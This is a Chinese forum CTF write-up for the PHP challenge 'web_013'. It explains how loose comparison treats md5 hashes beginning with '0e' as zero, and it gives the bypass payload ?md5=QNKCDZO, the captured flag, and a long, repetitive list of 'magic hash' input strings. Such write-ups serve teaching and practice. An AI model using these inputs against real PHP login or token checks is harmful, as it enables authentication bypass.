web_013

kim23   ·   发表于 2019-11-26 11:37:04   ·   技术文章投稿区

web_013

 

标签:CTF | empty() | MD5加密 | PHP弱类型比较 | 代码审计

提示:和之前有一题知识点差不多(PHP弱类型比较)


打开网址

 

 

<?php

    include('config.php');

    if(empty($_GET['md5'])) die(show_source(__FILE__));

    if($_GET['md5']!='240610708' && md5($_GET['md5']) == md5('240610708')) echo $flag;

?>

 

代码解释:

include('config.php');

include 语句包含并运行指定文件。

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

 

if(empty($_GET['md5'])) die(show_source(__FILE__));

empty — 检查一个变量是否为空

当参数md5的值存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE.

所以只有GET传参md5的值一个非空非零的值,才能不满足if条件,否则就会退出当前脚本。

以下的东西被认为是空的:

"" (空字符串)

0 (作为整数的0)

0.0 (作为浮点数的0)

"0" (作为字符串的0)

NULL

FALSE

array() (一个空数组)

$var; (一个声明了,但是没有值的变量)

 

if($_GET['md5']!='240610708' && md5($_GET['md5']) == md5('240610708')) echo $flag;

若变量md5不为空,且不等于'240610708',并变量md5经过md5加密后的值与字符串'240610708'经过md5加密后的值相等,则可以得到 flag

PHP在处理哈希字符串时,会利用”!=””==”来对哈希值进行比较,它把每一个以“0E”开头的哈希值都解释为0,如果两个不同的值经过哈希以后,都是0E开头,那么PHP将会认为他们相同。

由于字符串'240610708'经过md5加密后的值为0e462097431906509019562988736854,在==比较时,会被认为是0*10^462097431906509019562988736854,也就是0

 

满足条件:GET传参md5,md5的参数值(不能是"240610708")的md5加密后是0e开头的即可

 

Payload?md5=QNKCDZO

Flagflag{P2p_1s_tg3_b3st_qan123ag3}

 

部分md5函数0e开头的值:

QNKCDZO

0e830400451993494058024219903391

240610708

0e462097431906509019562988736854

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

s1665632922a

0e731198061491163073197128363787

s1502113478a

0e861580163291561247404381396064

s1836677006a

0e481036490867661113260034900752

s1091221200a

0e940624217856561557816327384675

s155964671a

0e342768416822451524974117254469

s1502113478a

0e861580163291561247404381396064

s155964671a

0e342768416822451524974117254469

s1665632922a

0e731198061491163073197128363787

s155964671a

0e342768416822451524974117254469

s1091221200a

0e940624217856561557816327384675

s1836677006a

0e481036490867661113260034900752

s1885207154a

0e509367213418206700842008763514

s532378020a

0e220463095855511507588041205815

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s214587387a

0e848240448830537924465865611904

s1502113478a

0e861580163291561247404381396064

s1091221200a

0e940624217856561557816327384675

s1665632922a

0e731198061491163073197128363787

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s1665632922a

0e731198061491163073197128363787

s878926199a

0e545993274517709034328855841020

 


打赏我,让我更有动力~

0 Reply   |  Until 2019-11-26 | 995 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.